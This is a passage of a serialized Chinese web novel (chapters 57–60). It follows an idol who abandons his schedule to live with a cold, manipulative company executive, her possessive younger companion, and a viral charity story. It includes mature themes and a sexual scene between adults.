“你现在是上升期,活儿不论大小,都是越多越好,临时让我推了那么多单子,现在回来了,又说自己有事。” 唐知行翻出排程给韩尘霄看,今天必须和他好好谈谈了。 “你真的有急事,我不会逼你,可是搬家——你宿舍出什么问题了,一天都不能住了?” 看着行程表上一排的红叉、红圈,韩尘霄略感歉意,但还是坚持自己的想法。 “唐哥,我出道以来,每一天都是上升期、是关键期,以前我从来没有说过什么,发烧四十度也没有缺席综艺,小腿骨折一样录歌练琴。这两天我真的有事,通融一下可以么。” “就是因为你以前叫人省心,所以我才连音乐节都给你通融了!”唐知行将反复修改的行程表摔在沙发上,“小祖宗,你还没玩儿够呢?” “不是玩。”韩尘霄正视唐知行,清俊的五官覆上了一层薄霜,“艺人只是我的工作,我也有我自己的生活。” 唐知行怔了下。 韩尘霄向来是谦逊礼貌的,那偏冷的长相在严肃的表情下,极富攻击性。 像是被一手养大的小狗突然咬了一口,唐知行恼羞成怒地沉声,“现在十点半,我没时间和你争论,先出发,等今天拍摄结束了我再和你谈。” “今天工作什么时候能结束。”韩尘霄问。 “还没开始你问什么结束!”唐知行真有点发火了,“下楼!” 韩尘霄看了眼手机。 他给邱芜澜报备了今天的工作,但邱芜澜没有回复。 “我还有点事,”他想当面和邱芜澜说一声,“你们先走吧,晚点我自己打车过去。” “韩尘霄!”唐知行忍无可忍,“你想什么时候去都可以,但我警告你,这一单违约金两百八十万,你算好你的存款再做决定。” 韩尘霄终于有所动摇。 最后,他还是先和唐知行上了车,想着抓紧时间,早点回去。 拍摄过程非常顺利,可邱芜澜始终没有回复他的消息。 韩尘霄隐隐有种不好的预感,他顾不上从前那样和工作人员一一道谢,先行一步打车回了公司。 七点半,早已过了下班时间,但邱芜澜办公室的灯光还亮着。 韩尘霄匆匆赶来,越是靠近,越是莫名心慌。 他在门前站定,整理了下衣服,压住急促的呼吸后,敲了敲门。 “进来。” 听见熟悉声音的刹那,韩尘霄抑制不住地流露出笑意。 他推门而入,正对上收拾餐盘的季尧。 办公室打开了新风系统,没什么气味。刚刚吃完晚饭的邱芜澜坐在办公桌后,处理着手头上的工作。 她没有看韩尘霄,韩尘霄顿了顿,走去季尧身边,接过他手里的盘子,低声说,“我来。” 季尧弯眸,松了手,“好哦。” 他的笑不及眼底。 那份自作的男主人姿态,令季尧犬牙发痒、唾液分泌。 他抵着牙尖,自后方打量弯腰收拾桌子的韩尘霄。 不一样了。 季尧若有所思地回看了一眼邱芜澜。 和以往的男人都不同,韩尘霄身上发生了莫大的转变——他发自内心地对姐姐上心了。 一个原先只会做白人饭的男明星,如今收拾桌子之余,还会把远处地板上的发丝捡起来、放进垃圾桶里。 韩尘霄收拾好桌子,见邱芜澜始终没有搭理自己,便主动轻唤了一声,“芜澜,你还要一会儿吗?” 邱芜澜终于抬眸,将目光落在了他身上。 “这段时间不用等我,你回去吧。”她说。 青年脸上的期待登时化作无措,“你…你这几天比较忙吗?” 邱芜澜向后靠去。 她坐在椅子上,分明要比他低许多,视线却像是自上而下的审度。 “尘霄,”她淡淡开口,“出差一周,你知道我回来第一天会很忙。我推掉了客户和会议,推掉了六点下班后的所有工作。” “今天,是我们同居的第一天。”她凝望着他,缓缓开口,“可你好像,不是很在乎。” 韩尘霄呼吸一滞。 他猝尔上前,“芜澜,我…” “我不想听解释,一个半小时前就下班了,我得走了。明天开始我会很忙,可以的话希望你不要打扰我,有什么事都等过一阵子再说。” 邱芜澜起身,唤上季尧,“阿尧,走了。” “好。”季尧拿好邱芜澜的外套和包,冲韩尘霄弯眸,“尘霄哥,记得把垃圾带走,再帮我关一下空调和灯。” 做家务的未必是男主人,也会是保洁。 他既然那么乐意做事,他也不好意思不吩咐。 第58章 第五十八章 “可以让他离开的。”季尧在书房点上熏香, “那是姐姐的办公室和公司,凭什么是姐姐避着他。” 邱芜澜翻阅着娱乐行业今年第一季度的各家财报,回道, “我回来不是为他,是为你。” 她转眸看向季尧, 少年站在飘出的袅袅香丝前,浅淡的兰草香浸透了他, 她冲他抬手,季尧意会地走来,抚着座椅的扶手, 在邱芜澜身边蹲下。 邱芜澜扶起他的下巴, 凝神打量了一会儿。 “气色好了不少。”她抽手, “快十点了, 去睡觉。” “白天睡过了, 睡不着。”季尧搭着扶手, 浅色的圆眸望着邱芜澜, “作息表规定的时间还有半小时,姐姐,让我再陪你一会儿吧。” 他低头点熏香时, 发上沾染了兰草的气味。 邱芜澜梳理过他微卷的发梢, 倏尔蹙眉。 她的手顿在那携了兰草香的发间, 在抽回和抓握之间僵持。 “姐姐?”季尧觉出了她的异样。 邱芜澜骤然抽手,方才那霎, 她差点就想抓住季尧的头发, 迫使他仰头,露出漂亮的脖颈。 躁痒。 新换的药效果很好,哪怕韩尘霄失神地瘫跪在她脚下, 难耐地摇晃腰尾,邱芜澜都能克制住欲望,准点出发回国。 但此刻,仅仅是意识到季尧染上了她惯用的香,那股躁动便疯狂膨胀蔓延,吞噬着她的理智。 即便是艺术品,也有高低之分。 花费两小时制作的卖花女,已能调动起她的亢奋情绪; 投入十五年心血培养而成的季尧,实在是令邱芜澜欲罢不能。 不知从何时起,她对季尧的占有欲高涨到了失控的地步。 她该让季尧离开,季尧却凑上来,主动拱进了邱芜澜掌下。 “怎么了姐姐?”他浑然不知,“不喜欢我新换的发膜么。” 话即出口,发根便传来紧绷的痛。 邱芜澜提着他,俯身轻嗅。 她冰白的肤色漫起薄红,像是被烟丝熏面的瘾君子,靡靡享受。 半晌,邱芜澜睁眸。 她拿起平板和那一沓财报,走去了后方沙发落座,食指点了点身侧空位。 距离不远,季尧就着蹲姿,膝行向前。 她身后是玻璃柜,从C国带回来的周边没收在里面。 “我喜欢。” 邱芜澜回答了季尧方才的话,伸入周边纸袋,随手摸了几只发夹出来。 勾起季尧的几缕头发,她把贴着三花猫头的一字夹一个个别了上去。 季尧跪坐在她身前,仰头瞻望她,玻璃糖般的瞳孔清澈明亮。 邱芜澜垂眸,慢条斯理地拨弄着发夹上呆萌可爱猫头。她的视线掠过季尧腕上的发圈,继而又回落在季尧脸上。 “不许出来。”她道,“你的身体还要养。” 季尧喉结微滚,乖巧应道,“好。” 邱芜澜喟叹低吟,淡雅的兰草熏香在书房飘荡,一丝微弱的歉意被澎湃的欲海卷席吞没。 不会太久,韩尘霄已基本成熟可用,一年、半年——半年之内,她会还季尧自由,彻底结束这另类的姐弟关系。 只是在这之前,他和她都需要一点过渡时段…… …… “季尧!” 唐知行匆匆自后赶来,叫住了准备上楼的季尧,“看见韩尘霄了吗?” 季尧站定,“他室友不知道么。” 跟着唐知行一块儿来的罗浩炆摇头,“他前天和邱总出差回来,晚上就收拾搬家,昨天一早叫车搬走了,后面再没回过宿舍。” “他也没说要搬去哪,就说附近。”唐知行扶额,急得满头是汗,“给我发了‘请假’两个字后,怎么打电话都不接,消息也不回。” “既然都请假了,那就不是失踪。”季尧迈步,“销假了自然就会出现。” 唐知行抓住他的肩膀,“季尧,你真的一点都不知道吗?比如……邱总附近的房子。” 季尧振开他的手,“姐姐七点半就到公司了,她自己都没请假,怎么要求别人为了她请假。” “我不是这个意思…” “可真不是时候,”季尧转身,瞥向唐知行身后的罗浩炆,“杨木的身体也不好,看来这段时间只能让浩炆哥顶着了。” 罗浩炆愣了下,反应过来后,目光逐渐躲闪,不再急着寻找韩尘霄。 韩尘霄不在,季尧也请假,杨木又有病,唐知行手里的资源只能给到他了。 “唐哥,尘霄哥可能是最近压力有点大。”他转变了态度,反过来劝唐知行,“你想想木木。逼得太紧,也不好吧……” 唐知行生出莫大的无力感。 他看着被季尧一句话策反的罗浩炆,RNI这个组合里有实力派杨木,有圆滑会来事的罗浩炆,有保障资源的季尧,还有兼具实力、外形、经验和努力的韩尘霄。 这样一副好牌,才走了三年,就分崩离析。 韩尘霄自己不愿意,他就算打听出了他的新家,也不可能把他强拽出来工作。 眼下该做的是重新排单,让罗浩炆和杨木代替韩尘霄出场、和活动方道歉解释。 希望真如季尧和罗浩炆所说,韩尘霄只是需要一点时间调整,很快就能复工。 甩掉了唐知行,季尧去了艺人餐厅。 邱芜澜中午在外和客户吃饭,不需要做饭的时候,季尧通常用简餐和速冻应付——最近不行,邱芜澜把他的饮食盯得很紧,他只能来公司餐厅,吃菲安送来的营养餐。 中午时分,艺人餐厅坐了半满。 季尧找了靠墙的角落坐下,他左手拿着筷子,散漫地挑着鱼刺,右手在刷云书热搜。 “阿尧。” 温润的男声自侧面传来,季尧抬眉,看见一身风衣的华君润朝自己走近。 “一个人?方便拼桌么。” 季尧弯眸,示意他自便。 “谢谢。” 华君润在他对面坐下,两人安静地吃着饭,后方卡座里是三个要好的二线小花。 “看热搜看热搜!”娇滴滴的女声兴奋扬起。 “哇塞,咱们邱总是哪本营销书成精啊,出国一周,一分钱不花就又出圈了。” 华君润眸光微瞥,扫见对面少年手中的屏幕,上面同样也是邱芜澜的消息。 他跟着拿出手机,打开云书第一眼就看见了迅速上升中的词条—— #邱芜澜 卖花女孩# 抬起这个话题的,是一条网络新闻。 “近日,在C国著名的情人景点‘水晶梧桐大道’上,出现了一位头戴花冠的小女孩。” “她头上的玫瑰花冠十分特别,受到了众多游客瞩目。” “据了解,这位C国女孩佩戴的花冠,是由我国传统手工工艺‘绢花’制成的。‘绢花’是我国非物质文化遗产之一,所制成品形态逼真,具有独特的观赏价值。” “一个出生在C国的卖花女孩,竟然拥有一顶这样技艺精湛、价格不菲的定制绢花花冠。” “不仅如此,据当地游客说,这名可爱的卖花姑娘还有一个绝活——她能一眼分辨出不同国家的游客,且掌握了多种国家的语言。” “记者采访了这位神奇的小姑娘。” “I met her there.” “who?” “Wulan Qiu.”花冠之下的小丫头拿出了一张外文名片,“She taught me and……gave me this.” 镜头聚焦在了那张名片上。 记者追问:“她为什么要给你这个,是希望你联系她吗?” 女孩摇头,“她收了我的钱,说这上面留了她的指纹,如果她没有按时把花冠带来,我可以拿着这个去报警。” “你给了她多少钱买这顶花冠呢?” “九元十五分。” …… “当地论坛刊登了小女孩的信息。原来这位卖花女的父亲肢瘫,无法工作;母亲在餐厅打工,一边照顾丈夫,一边还要照顾罹患阿尔茨海默症的姥姥。” “我们联系了论坛版主,也就是C国儿童关爱协会的工作人员,他们告诉记者,帖子是当地分会的副会长发布的。” “哦,你说那个孩子。”一名三十岁左右的女性出现在了采访画面中。 “大概一周前,邱芜澜联系了我。”她说着笑了下,“我本科和她是校友,比她大两届,当时我就参加了学校的救助组织,邱芜澜是我们出手最大方的出资人之一。” “她说自己在这附近出差,把照片发给了我,让我想办法帮助一下那个孩子,还说对方自尊心很强,让我不要直接资助她。” “我还真不知道,原来花冠和外语就是她教给那位小姑娘的。这倒也符合她的作风。” …… “得知这些消息后,我们马上联系了秋叶娱乐。秋叶娱乐方面称,他们并没有收到相关通知,对整件事尚不知情。” 三个小时内,这则四分半的视频上升到了热搜榜第七,广场上讨论十分热烈。 国外、人文、财经、女性、公益,各领域的博主都参与了其中。 “太细了,太细了——其他博主已经做了很全面的分析,我这里再粗略评析一下邱芜澜的三个细节。” 有博主为此写下长文。 “第一,名片。 邱芜澜不是直接资助,而是给了一张‘带指纹’的名片,这是把女孩当做客户来尊重,让她知道自己不是被同情,是作为甲方购买了一款产品;要是之后真的遇到了什么困难,也可以通过名片上的号码联系到她。 “第二,选用非遗‘绢花’。 这顶头冠显然是邱芜澜经过慎重思考的。鲜花效果会更好,可保质期太短;国内另一项非遗技艺——‘绒花’更具艺术性,但一来会把顾客的注意力从花篮里的普通鲜花上引走,降低鲜花对游客的吸引力;二来“‘绒花’较重,会压迫小女孩稚嫩的脖颈。 邱芜澜抛弃了常见且便宜的塑料假花,选择了工艺复杂、成本昂贵的‘绢花’,我相信她是有意识地在向世界展示我国宝贵的非物质文化。” “第三,打造商业名片。 回到根本,为什么邱芜澜做这样一顶花冠。 当我们发现了一个可怜的小女孩,我们报道她、在网上帮她发声,即便她的样子被很多人看到了,人们也很难记住她,遑论在人来人往的旅游景点里找到她。 有了这一顶显眼的花冠,不仅能让想要帮助女孩的人快速找到她,也让女孩有了自己的商业名片,打造出属于自己的口碑。 “我看到有人说邱芜澜教女孩多种外语,是一种很有‘心机’的表现,会给女孩带来负面影响。 比起担心未来会不会出现一个坏女孩,我们更该关注的是当下女孩的饥饱问题。 她没有偷窃,没有贩卖劣质产品,这难道不就够了吗? 如果这位卖花女真的因为邱芜澜的影响,成为了一名野心勃勃的商人,那么我只想说——干得好。” 华君润只看完了新闻和最热门的第一篇点评。 他看见对面季尧还在不停往下翻广场。 “不愧是她,”华君润出声感慨,“只是出国谈个业务,都能为自己博到这么好的名声。” 季尧的目光离开了手机,“好人会有好报。姐姐做的好事多了,有一两件被人发现,很正常。” 华君润玩味地重复季尧的用词,“好人?” 从前他也曾这么想过,后来才知道,“公益”和“慈善”,全都不过是悉心设计过的营销。 季尧听懂了他的不以为然,“姐姐很聪明,不妨碍她很善良。” “作为‘姐姐’,她确实温柔善良。”华君润敛眸,“阿尧,听说韩尘霄请了长假,发生什么事了么。” 季尧有一搭没一搭地用筷子剖开的鱼腹,不甚在意地回答,“不知道。” 华君润担忧,“他可在上升期,这么久不出来,对资源影响很大。” “他不会在意的。” “什么意思?” “姐姐太善良了。”季尧淡淡道,“他发现了这一点,死皮赖脸地赖在姐姐的房子里,姐姐狠不下心赶他走。” 那双浅色的瞳孔对向华君润,“韩尘霄现在,用不着努力工作了。” 华君润握着筷子的指节微白,他笑道,“这是你姐姐的私事,没必要告诉我。” “哦?”季尧单手托着腮,“我还以为君润哥坐来这里,就是为了打听这些事的。” “虽然我不是你姐夫了,但也算看着你长大。”华君润和颜悦色,“别这么提防我,我只是担心韩尘霄会影响到你。” “君润哥,你果然与众不同。”季尧咧唇而笑,“出道以来,还是第一次有人关心我的事业,连经纪人都不会为我操心。” “你早晚要独立的。”华君润将筷子收入托盘,“能一辈子待在你姐姐羽翼下的,只有她丈夫而已。” “还有三个月就要进组,”他改换了话题,笑吟吟地开口,“怎么样,第一次拍戏,有压力么。” 季尧了然,“原来君润哥是拿到男一号了。” 这个结果在意料之中,国内最热门的青年演员非华君润莫属。不论是人气还是实力,华君润都独占鳌头。 这部名为《红丝鸳》的大型古装剧于十月开机,演员们会提前三个月进组学习。 八月,秋叶影视城落地剪彩,这部剧是用来温居的开门红。 华君润整理好了自己的碗筷,起身同季尧告辞,“剧本已经寄来了,要是有什么不懂的,可以找我讨论。阿尧,把这当做一次转型的机会如何?” 他走了。 季尧拨弄着鱼肉,右手滑动屏幕。 刷新后的广场上弹出了最新一条实时云书—— #邱芜澜 卖花女孩# 邱芜澜真是人美心善。 季尧勾唇,点亮了右下角的赞。 第59章 第五十九章 网民并不知道季尧和邱芜澜有什么关系, 他的点赞淹没在秋叶娱乐其他艺人的赞里。 自家老板做了好事,大家少不得捧捧场,甚至有一线女星直接发文—— “我永远不后悔签约秋叶娱乐、成为邱芜澜的艺人。” 季尧翻了下她的主页, 这是慈善晚会上,拿了姐姐红绿柱石耳坠的杨芸。 看主页发布的活动, 最近两个月,杨芸的业绩似乎回温了一些。 瓷器相碰的轻响落在季尧侧前。 邱芜澜放下茶杯, 杯中仅剩一寸茶汤,季尧为她蓄满。 手机震动了下,季尧收到邱芜澜发来的一张图。 那是被人群环绕的一名卖花小女孩, 笑得软萌可爱。 “裱起来。” “好。”他去书房连上打印机, 等待出图的时候, 云书弹出了特别关注的推送。 邱芜澜:感谢大家的关心, 心意收到了, 希望媒体朋友和爱心人士不要过度打扰她的生活。再次感谢。 滴—— 高清的图片被机器推到季尧面前, 他拿起微微发热的照片, 隔着这张纸遥望向那名五岁的异国卖花女。 他伫立着看了一会儿,将照片装进小号的金色相框内。 是家里最小尺寸的相框,季尧觉得应该足够了。 他带着相框离开书房, 推开杂物间对面的房间, 房内没有窗户, 四面遮光。 房门打开,智能灯柔和地亮起。 顷刻间, 密密麻麻的大小相框涌进季尧眼帘。 上百张人物照排列于此, 墙壁被分割为一列列玻璃展柜。 入门最醒目的,是季语薇的照片。 十五岁开始,一直到二十九岁, 各个年纪的季语薇霸占了第一条玻璃展柜的八个隔层。 季尧在嫣然柔媚的女人面前,静默地站立。 高中之前,这里的八个隔层,有五层摆满了他的照片。 后来,他被从这间收藏室里移除,再也看不见痕迹。 季语薇的第一展柜之后,其余的十三展柜里,照片杂乱了起来。 多数是年轻人,包括秋叶娱乐里前三梯队的艺人;如今小有名气的艺术家、研究员;低谷期后重返巅峰的商人政客…… 这几百张照片里的人物都有一个共同点—— 他们如今都过得还算不错。 季尧将手中小小的金色相框摆到最后的展柜中。 离开之前,他回眸看了眼身后。 密密麻麻的人像对着他咧嘴而笑。 季尧曾是其中的一员,他本是占据最大篇幅的首席,是邱芜澜最珍爱的作品。 他的照片已被从中抹除,或许很快,连他本人也再无法踏入这间收藏室,会有别的男人代替他照顾邱芜澜的战利品,接着照顾邱芜澜的起居。 智能灯暗下,人像们隐匿进了黑暗。 …… 回国的第七天,这是韩尘霄第二次长时间脱离娱乐圈。 列表弹满了灰色的消息点,他屏蔽了所有人,整日盯着置顶的对话框。 清俊的凤眸中血丝弥漫,他长久地坐在靠近玄关的沙发上,电视机二十四小时不停轮播着邱芜澜的活动访谈。 待在邱芜澜公寓里的这些天,韩尘霄发现了一些异常。 比如,他并没有看见大众津津乐道的那只鹦鹉。 不像是邱芜澜把它带走了,柜子里没有鸟粮、没有尿垫玩具、没有任何鸟用品,连绿植都没有一棵。 衣柜里只有几套正装和常服,鞋子、首饰寥寥无几。 这里没有多少生活痕迹,唯一符合邱芜澜在《去你家做客》里描述的,只有那间引起热议的“婴儿房”。 里面空无一物,只打了一面柜子。 韩尘霄隐约洞悉了点什么,可他不在乎。 他只记得自己搬来的那个早上,用生日打开密码锁的喜悦; 他只知道,邱芜澜已经七天没有理睬他了。 「我推掉了客户和会议,推掉了六点下班后的所有工作。」 「今天,是我们同居的第一天。可你好像,不是很在乎。」 嗡——嗡—— 手机不停震颤着,七天来,各种电话没有断过。 韩尘霄仰头,小臂遮挡住双眼。 他没有不在乎她……他没有! 他和唐知行说过他有事,他说过他想出发前去见一面邱芜澜。 为什么连这么一点时间都不能给他? 他从来没想过偷懒,从来没奢求过放纵,他只是偶尔需要一点私人时间用作生活。 为什么连这点请求都不能被允许…… 列表上的未读消息,从焦急担心变得暴躁恼怒,再到冰冷失望。 “几点了,你在哪!” “活动负责人问你怎么回事,为什么要爽约?” “韩尘霄,你到底还想不想干了?” “接电话!” “我把你这周的资源给罗浩炆他们几个了。” “韩尘霄,你知道你惹了多大的麻烦么!” “看看你的评论区和超话都什么样了!你知不知道自己有多让粉丝失望!” “好,有本事你永远别来公司,别来找我。” 让粉丝失望? 一群从来没见过他、根本不了解他的人,他凭什么要在乎他们的想法。 那些人干着九点打卡、九点下班,每周都有休息日的轻松工作,他们一边咒骂加班的同事,一边又要求他二十四小时不停工作,最好每天都能发歌发图、每天都是演唱会——这种恶毒的双标网民,他为什么要在乎。 每天都是充满戾气的撕逼骂战,每天都是强颜欢笑的营业,镜头面前,他要完美无缺;镜头之下,也不知哪里藏着偷拍的摄像头。 每个活动、每分每秒钟都是上升期,没有一刻能够喘息。 这样的日子,他受够了。 六室两厅,这间公寓大得可怕。 韩尘霄蜷缩在沙发上,开着电视,却被孤寂逼疯。 嗡嗡——嗡…… 好空……四周空荡得恐怖…… 这是第七天。 他在C国和邱芜澜朝夕相处了七天,回到国内,又和她断联了七天。 韩尘霄怀抱双臂,牙冠打颤,分不出是因为寒冷还是恐惧。 在响个不停的手机震动里,他猝然起身,奔向衣柜。 柜子里是几件邱芜澜的衣裙。 韩尘霄迟疑地伸手,落在了最长的裙子上。 邱芜澜所有衣服都量身定制,没有太多宽松的空隙。 韩尘霄拿出那条裙子,轻飘飘的裙摆扫过他的脚背,他猛地哆嗦了下,一股幻觉中的酸麻感传遍四肢百骸,让他下肢胀痛。 他神情恍惚地站在全身镜前,着魔般脱下衣服,套上了女人的裙子。 熟悉而陌生的紧绷感勒紧了皮肤,寂冷和空虚顷刻间被荡平。 韩尘霄痴迷地抚摸自己被布料紧紧包裹的上身。 这七天他瘦了不少,裙子宽松了些,但因为是邱芜澜的裙子,所以依旧令他颤栗。 芜澜……芜澜…… 韩尘霄痴痴地望着镜子里的自己,他好想她,他好想回到在C国的时候,那时他们每晚都相拥而眠,亲密无间。 他终于无法忍耐,打破了邱芜澜的规矩,给她拨去了语音。 近半分钟的等待后,语音被接起。 韩尘霄精神一振,他双手持着手机,迫切地开口,“芜…” 话音未落,他听见了一丝情动的喘息。 “嗯……” 韩尘霄从未听过邱芜澜发出这样的声音。 “怎么了。” 仿佛是他的错觉,邱芜澜接下来的声音平稳如常,韩尘霄死死抓着手机,作为男友,他应该愤怒、应该质问,可他只感到了深深的惶恐。 “芜澜,”他小心翼翼开口,“对不起,我知道你不喜欢私人电话,但你一直没有回消息,我想和你道歉,也有点担心……” “道歉?” “是。对不起芜澜,我真的很抱歉,那天没有注意到你的心情,我保证再不会出现这种情况了,我以后会重视我们所有的纪念日!” 对面沉默了一会儿。 韩尘霄不知道这份沉默是因为邱芜澜不想原谅他,还是因为别的因素。 他听见了啧啧的水声,和一道雌雄莫辩的急促呼吸。 良久,邱芜澜终于有了回应。 “好吧。”她无奈地叹息,“尘霄,我喜欢你,所以还是会原谅你。你知道这是我第几次原谅你了。” “我知道我知道!”韩尘霄连声道,“对不起芜澜,我不会再让你伤心了。” “你在哪?” “我在公寓。”韩尘霄抿唇,在电话那头不知名的男人喘息中,小声地补充了一句,“……我在家里。” “我明天回去。” 结束通话,邱芜澜放下手机,双手抓抱住季尧的发顶。 她略有粗暴地拉拽,将他从腿间扯起,按去颈间,与他全身相贴。 带着薄茧的指腹划过少年的美人沟,停在尾椎上揉圈。 邱芜澜满意他背部的状态,她出差时流失的肌肉已基本补回。 七天过去,季尧的身体恢复了,上午菲安出了报告,下午她便回了别墅见他。 说不清的急切催促着邱芜澜,她想要他,出差七天、康复七天,这半个月,她竟比季尧更加难捱。 邱芜澜抱着季尧的后脑,碾压他的椎骨,在他耳边吐息,“可以。” 下一刻,怀中的身体紧绷至极,有微凉的黏液洒在了邱芜澜腿上。 邱芜澜抚开少年汗湿的鬓发,在他潮湿的额间印下轻吻。 “我忙几天,不许再节食熬夜。” 那双浅色的玻璃糖眼氤氲泛红,他伏在邱芜澜身上,平复呼吸。 “姐姐……”季尧抬眸,指尖牵住了邱芜澜的衣摆。 “五月初,是游戏展。” “和你的朋友去吧。” 他垂眸,浓密的眼睫颤了下,投下淡淡的阴翳,“我想和姐姐一起。” 这个角度使季尧的脸看起来更加纯稚。 邱芜澜记起来,他才离开19岁几个月而已。 “好吧。”她妥协,“我会记得的。” “真的吗。”季尧灿然而笑,他支起上身,撑在邱芜澜上方,一眨不眨地盯着她,“要是那天尘霄哥找你呢。” 他没有问“要是那天有工作怎么办”,他只是问韩尘霄。 邱芜澜想起了《游戏吧》里被季尧踩烂手指的男偶像,不管她怎么做,季尧都得不到一点安全感。 他无时不刻干渴着,渴望得到她的关注,却如履薄冰、卑微小心,连撒娇时都不敢把自己的重要程度和工作划等号,只敢与韩尘霄相比。 “看来,我是不得不去了。”邱芜澜不悦地再三强调,“答应我,我这次去了,以后你不许再把自己和韩尘霄相提并论。” 一滴细汗顺着季尧的脸颊汇集到下巴。 他单臂支撑上身,反手拭去,避免滴落在邱芜澜身上。 “那我应该和什么作比较呢。” “和我。”邱芜澜仰身,吻去了他下巴残留的水色,“阿尧,你要和我作比较。” 第60章 第六十章 邱芜澜有点后悔在季尧面前接了韩尘霄电话。 她以为几个月过去, 季尧已经没有那么排斥韩尘霄,就像从前的那些男人,季尧起先是会有点不舒服。他会故意刁难对方几次, 发现自己依旧站在他这边后,就放任流之, 不再在意。 有不少男人曾找邱芜澜抱怨过,季尧的恶名也因此愈添一笔, 但邱芜澜没有插手的打算。 她能够理解季尧的做法。 季葶对季尧有不可磨灭的负面影响,邱芜澜不知道那个女人私下里是如何对待季尧的,光看她平日对季尧的态度, 就知道不会好到哪里去。 季尧有着最糟糕的成长环境:不知生父、被母亲厌弃, 幼年居无定所, 寄居在母亲金主的房子里。 这样的环境下, 他很难不敏感缺爱。 邱芜澜把季尧带在身边, 一方面, 减少季葶对季尧的影响;另一方面, 也是安抚季尧,让他知道,自己不会将他丢弃。 小猫小狗护食用不着治, 只要让它们一直吃饱, 知道自己不会再挨饿了, 护食也就不治而愈。 邱芜澜放任了季尧对那些男人的欺压,总归她不在乎那些男人, 季尧也很懂分寸, 过程中没有出过什么意外。大家相安无事就行。 但这一次,他持续的有点久了。 邱芜澜明白这是因为自己对韩尘霄表现得不同以往,让季尧感受到了前所未有的危机。 然而, 他二十岁了,这个年纪的男孩如亚成年的雄兽,势必厌倦族群,走向独立。 他的身份导致了邱芜澜没法在邱家给季尧一席之地,如果季尧是个平庸之辈,她可以坦然将他留下;但他天资卓绝,不该受困在一个注定无法伸展的空间里。 季尧不能在邱家,更不能去别人的公司,邱芜澜希望他能创业,做什么都好,翻译、游戏、开发程序、设计模型——她将他的银行卡喂饱,支持他的一切兴趣爱好,哪怕只是开个网店贩卖周边,她都乐意支持。 邱芜澜从不为私人感情所裹足。她反感邱岸山,也仅仅是在见面时尽量避免肢体接触,不联系的时候,她也就记不得那份厌恶。 从前两个弟弟令她挂心,随着他们长大,生活顺遂,有了自己的事业和朋友,邱芜澜便也不再时刻关注。 唯有季尧,始终令她担忧。 “邱总。” 叩门声传来,“不好意思,方便打扰一下么。” “进来。” 唐知行反手将门关上。 他去到邱芜澜面前坐下,面色肉眼可见的憔悴。 “邱总,我想和您聊一聊尘霄。” 邱芜澜了然,“出什么事了。” “他回国之后,请了一个礼拜的假。”唐知行问,“这也不是什么大事,员工和艺人休假都很正常,可没有谁是整个休假期间一句消息都不回的。” 邱芜澜抬眸,“他没有回你的消息?其他人的呢。” “都没有,他谁的消息都不理。只有在我担心他的安全、说要报警的时候,他才回了句让我别管。” “那确实是有点不应该。” “邱总,您和尘霄私下里接触比较多,如果您知道些什么,能告诉我么?” 邱芜澜靠向椅背,“在这之前,我想先听听你作为经纪人,是如何评价韩尘霄的。” 唐知行不假思索道,“他有天赋,而且肯努力,是RNI中前景最好的艺人,放在整个行业里,也算是可圈可点的青年偶像。” “那么在你看来,他努力的动力和目标是什么。” 这个问题没有前一个容易,唐知行想了想,“他无疑是想出名的——这我能看得出来。” 他分析道,“我听说尘霄初中的时候父母出车祸走了,十几岁的小伙子,不尴不尬的年龄,没有亲戚愿意把他带进家里。他拿着父母的赔偿金读完高中就撑不下去了,考了大学也读不起,直接去了餐饮店打工,干了三个月,被之前的经纪公司看中,挖去国外做了练习生。他应该是想要出人头地、过上富足生活的。” 邱芜澜认同唐知行的判断,“他没有文凭和技术,当偶像是他从前最好的出路。” 从前? 联想韩尘霄和邱芜澜的关系,这话令唐知行有所洞悉。 他正色道,“以目前的情形,您是如何规划尘霄的职业道路的呢?” “我完全尊重艺人和员工的个人意愿。”邱芜澜说,“公司只是个平台,为普通人提供糊口的工作,为上进者提供展现能力的机会,同时,也为所有人提供休息和离开的权力。” 这话说得很官方,唐知行却听得有些心惊。 邱芜澜接着道,“知行,你是个很负责的经纪人,来公司的时间也不短了,以后会有更多艺人划到你手里。你的时间和精力是有限的,注意做好分配。” 如果说之前还只是唐知行的猜测,那么这句话直接一锤定了音。 他苦笑,“谢谢您。” 邱芜澜颔首,“你去吧。关于尘霄的事,我知道了,下次遇见他,我会和他说的。” “好……不打扰您。” 邱芜澜瞥过桌面上的时间。 距离六点下班还有半个小时,她按下通向简办公室的通讯器,“帮我买点东西。” 七点不到,简提着几个纸袋回到了公司。 “辛苦。”邱芜澜道,“你可以回去了。” “您呢?” “这几天我会去公寓。”邱芜澜关掉电脑,起身从简手里接过袋子,“看一下五月三号那天,有没有什么要紧的日程。” “暂时没有。”简问,“需要把那天空出来么。” “嗯,瑚城游戏展,我要去一下。” “是因为季尧?” “也是为了调研。”邱芜澜道,“去看看现在的游戏市场。” 简放下心来,欣慰道,“我会尽量安排好日程。” 邱芜澜和她在公司门口分开。 她难得没有带工作回去,只提了几个装了衣服的袋子,像是一名普通的都市白领,在写字楼里结束一天工作后去奢侈品店买了几件衣服犒劳自己。 只不过她手中的不是自己的衣服,是清一色男装。 “芜澜!” 离小区尚有几步,邱芜澜被桥畔的青年喊住。 她侧头,看见韩尘霄匿在鸭舌帽和口罩下。 出口唤她时,他有一瞬的踟蹰,在邱芜澜回望过来时,又快步上前,提过她手里的袋子。 “芜澜,”戴着口罩,仅露出的那一双黑眸便足以看出讨好,他抢着解释说,“我怕在公司楼下被人看见,所以才在这里等你。” 邱芜澜嗯了一声,兀自朝前而去。 韩尘霄紧跟在她身侧。 他落后她小半步,在她进电梯和进门前又加快速度,先一步进门按键。 “芜澜,我买了菜,你想吃什么。”回了公寓,韩尘霄一边去挂她的衣服,一边问。 “随便。”邱芜澜在餐桌前坐下,回复着手机消息,“简单点,我饿了。” “那我给你煮面好吗?” “嗯。” 韩尘霄冲她笑了下,“你等一会儿。” 他进入厨房,从揉面开始。 对于普通人来说简单便捷的面条,到了邱芜澜面前则有不同。 程序越是简单的菜,越是考验厨师水准。 韩尘霄将面条放到邱芜澜面前时,不由得忐忑起来,“芜澜,你尝尝看。” 印象中,就连那些五星级酒店的大厨也很难让邱芜澜满意。 邱芜澜挑起了一柱,入口之后,眉间蹙了蹙。 韩尘霄登时心脏发紧,他对照着季尧给的食谱练习了几十次,可没有人点评,他没有半点底。 “怎么样?”他七上八下,连颁奖前夕都未曾如此紧张。 “有点怪。”那轻蹙着的眉间慢慢平展了,邱芜澜看了他一眼,“也还可以。” 刹那间,韩尘霄如释重负,在自己尚未意识到之前便欢喜地笑了,那张清隽的脸上生出了几分开朗。 